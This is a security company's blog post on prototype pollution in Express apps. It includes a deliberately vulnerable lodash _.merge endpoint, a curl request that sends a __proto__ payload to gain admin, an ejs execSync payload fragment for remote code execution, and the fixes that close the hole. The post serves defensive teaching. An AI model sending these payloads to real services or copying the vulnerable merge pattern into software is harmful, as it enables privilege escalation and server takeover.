• Agents
  • Pricing
  • Blog
Log in
Get started

Security for apps built with AI. Paste a URL, get a report, fix what matters.

Product

  • How it works
  • What we find
  • Pricing
  • Agents
  • MCP Server
  • CLI
  • GitHub Action

Resources

  • Guides
  • Blog
  • Docs
  • OWASP Top 10
  • Glossary
  • FAQ

Security

  • Supabase Security
  • Next.js Security
  • Lovable Security
  • Cursor Security
  • Bolt Security

Legal

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • Imprint
© 2026 Flowpatrol. All rights reserved.
Back to Blog

Apr 28, 2026 · 7 min read

Your AI wrote a deep-merge endpoint. Here's what happens when you POST __proto__ to it.

Save a 25-line Express file, run one curl, watch isAdmin flip to true for every object in the process. Prototype pollution in under 2 minutes — plus the one-line fix.

FFlowpatrol Team·Security
Your AI wrote a deep-merge endpoint. Here's what happens when you POST __proto__ to it.

TL;DR

AI code generators reach for _.merge the second you ask them to "merge user settings with defaults." POST {"__proto__": {"isAdmin": true}} to that endpoint and every object in the process inherits isAdmin: true — including the session user the next request checks against.

A request carrying a proto payload flowing into Object.prototype and out to every object in the process
A request carrying a proto payload flowing into Object.prototype and out to every object in the process

The drill in 90 seconds

No containers, no scaffold, no repo to clone. One npm install, one file, one curl. You'll save a 25-line Express server, POST a single JSON body at it, and watch a property that doesn't exist on any object return true for every object in the process.

Step 1 — Save this file

Install two packages once: npm install express lodash. Then drop this into app.js.

// app.js
// This is the pattern AI generators reach for when you ask
// for "merge user settings with defaults". Lodash does the work,
// req.body walks straight into it, nothing validates the keys.
const express = require('express');
const _ = require('lodash');
const app = express();
app.use(express.json());

// Fake auth: the caller is logged in as user 47.
// Crucially, req.user has NO isAdmin property of its own.
function authenticate(req, res, next) {
  req.user = { id: 47 };
  next();
}

const settings = {};

app.post('/api/settings', authenticate, (req, res) => {
  _.merge(settings, req.body);
  res.json({ ok: true });
});

app.get('/api/me', authenticate, (req, res) => {
  res.json({ id: req.user.id, isAdmin: req.user?.isAdmin ?? false });
});

app.listen(3000, () => console.log('listening on http://localhost:3000'));

Nothing exotic. Lodash ships in 40 million repos, and _.merge is the one-line utility every AI generator writes when the prompt mentions settings, config, or defaults.

Step 2 — Run it

node app.js

You should see listening on http://localhost:3000.

Step 3 — POST __proto__

First, the sanity check. Ask who you are.

curl http://localhost:3000/api/me
{"id":47,"isAdmin":false}

Now send a single settings update. Watch the key.

curl -X POST http://localhost:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"__proto__": {"isAdmin": true}}'

Re-run the same /api/me request. Nothing about req.user changed. No new code ran. The handler is byte-for-byte identical.

{"id":47,"isAdmin":true}

That's the punchline. You are now an admin on an endpoint that never touched the admin flag. Every object in the process — the session user, the request, the response, every model you load after this point — inherits isAdmin: true.

What just happened

A handful of bullets, then we move on.

  • _.merge walks every key in req.body, including the string "__proto__".
  • Writing to __proto__ on an object writes to Object.prototype.
  • req.user is { id: 47 } — no isAdmin of its own. When the handler reads req.user.isAdmin, JS walks the prototype chain and finds the true you just planted.
  • This is prototype pollution. It's been known since at least 2018 and was the core of CVE-2019-10744 (lodash < 4.17.12, CVSS 9.1) and CVE-2020-8203 (lodash < 4.17.20, CVSS 7.4).

A flow showing req.body traversed key by key, proto writing into Object.prototype, and req.user inheriting the polluted property
A flow showing req.body traversed key by key, proto writing into Object.prototype, and req.user inheriting the polluted property

The quiet bug

Prototype pollution doesn't crash your process. Tests pass. The app feels fine. The only signal is a property that shouldn't exist, quietly returning true everywhere.

The gadget chain (the part nobody talks about)

Pollution on its own is usually low-impact — a flipped flag, a hidden debug path. The real damage shows up when a "gadget" downstream reads from the polluted prototype.

The canonical one: pollute Object.prototype.outputFunctionName with a payload like x; return global.process.mainModule.require('child_process').execSync('...'), then trigger any ejs template render. ejs concatenates outputFunctionName into the compiled template source — your payload becomes executable code inside the renderer. That's CVE-2022-29078, ejs < 3.1.7, CVSS 9.8. Full remote code execution from a single POST. Pug and Handlebars have their own gadgets in the same family.

A chain from a polluted proto key to ejs reading outputFunctionName to execSync firing on the server
A chain from a polluted proto key to ejs reading outputFunctionName to execSync firing on the server

The gadget is rarely in code you wrote

You don't need to be using ejs directly. Any library reading from an options object — JWT signing libs, logging frameworks, config loaders, ORM hooks — can be a gadget. The pollution is in your code; the gadget may be three dependencies away.

Fix it (30 seconds)

Two options, in order of preference.

// Option A (recommended): validate the shape before anything touches it.
// Zod's .strict() rejects unknown keys outright — __proto__ never reaches _.merge.
const { z } = require('zod');

const SettingsSchema = z.object({
  theme: z.enum(['light', 'dark']).optional(),
  notifications: z.boolean().optional(),
}).strict();

app.post('/api/settings', authenticate, (req, res) => {
  const parsed = SettingsSchema.safeParse(req.body);
  if (!parsed.success) return res.status(400).json({ error: 'Invalid input' });
  _.merge(settings, parsed.data);
  res.json({ ok: true });
});

// Option B (defense-in-depth): strip dangerous keys at the boundary.
// Use when a schema isn't practical — e.g. dynamic config shapes.
const DANGEROUS = new Set(['__proto__', 'constructor', 'prototype']);
function sanitize(obj) {
  if (obj === null || typeof obj !== 'object') return obj;
  for (const key of Object.keys(obj)) {
    if (DANGEROUS.has(key)) delete obj[key];
    else obj[key] = sanitize(obj[key]);
  }
  return obj;
}

Lodash 4.17.21 and later ship internal guards, but they're incomplete for nested paths and string-path assignments — schema validation is the reliable fix, and the one you'd keep even if the lodash patch were airtight.

Audit your own app

Three checks you can run against your real code right now.

  1. Grep for the usual sinks. _.merge(, _.defaultsDeep(, _.set(, _.setWith(. For each match, trace the second argument. If it comes from req.body, req.query, req.params, or any parsed JSON from a request, you have the bug. Hand-rolled deepMerge and extend utilities are just as bad — look for for (const key in source) loops that assign without checking the key.
  2. Check your dependency tree. Open package.json and your lockfile. Any lodash below 4.17.21 is a finding on its own — npm audit flags CVE-2020-8203 as HIGH. The same logic applies to jquery < 3.4.0, minimist < 1.2.6, and mixin-deep. See npm supply-chain hygiene for vibe coders for the full list and how to keep it clean.
  3. Look downstream for gadgets. If you render templates (ejs, pug, handlebars), sign JWTs, or load config from merged objects, you have a live gadget. The distance between "pollution" and "RCE" is shorter than most teams realize.

Why AI code generators produce this

Deep-merge is one of the first utilities a generator writes from scratch when it doesn't reach for lodash — a for (const key in source) loop that assigns every key without checking it. The training data predates the CVEs, the quickstart tutorials that feed these models don't mention prototype guards, and the resulting pattern looks clean enough to pass review. No malice, no negligence. Same shape of miss as SQL injection in AI-generated code — a default that was safe once and isn't anymore.

Closing

A drill like this catches one polluted sink on one endpoint. The interesting chains are the compound ones — a settings endpoint pollutes outputFunctionName, a dashboard route renders an ejs template three files away, and the POST you treated as harmless turns into shell. That's what we built Flowpatrol for — the scanner walks the full gadget chain so you see not just the polluted input, but whether it reaches a template engine, a JWT library, or a logging function that turns the flipped flag into something louder. Paste your URL, see what comes back.


Want the sibling drill in the same shape? IDOR in 60 seconds: change a 1 to a 2 and see what comes back walks a missing-check bug the same way — one file, one curl, one fix.

Back to all posts

More in Security

Three Apps. Three Firebase Breaches. One Rule That Caused All of Them.
May 11, 2026

Three Apps. Three Firebase Breaches. One Rule That Caused All of Them.

Read more
SSRF in 60 seconds: the link preview that steals your AWS keys
May 4, 2026

SSRF in 60 seconds: the link preview that steals your AWS keys

Read more
Your code passed the linter. Your app failed a 2-minute curl test.
May 4, 2026

Your code passed the linter. Your app failed a 2-minute curl test.

Read more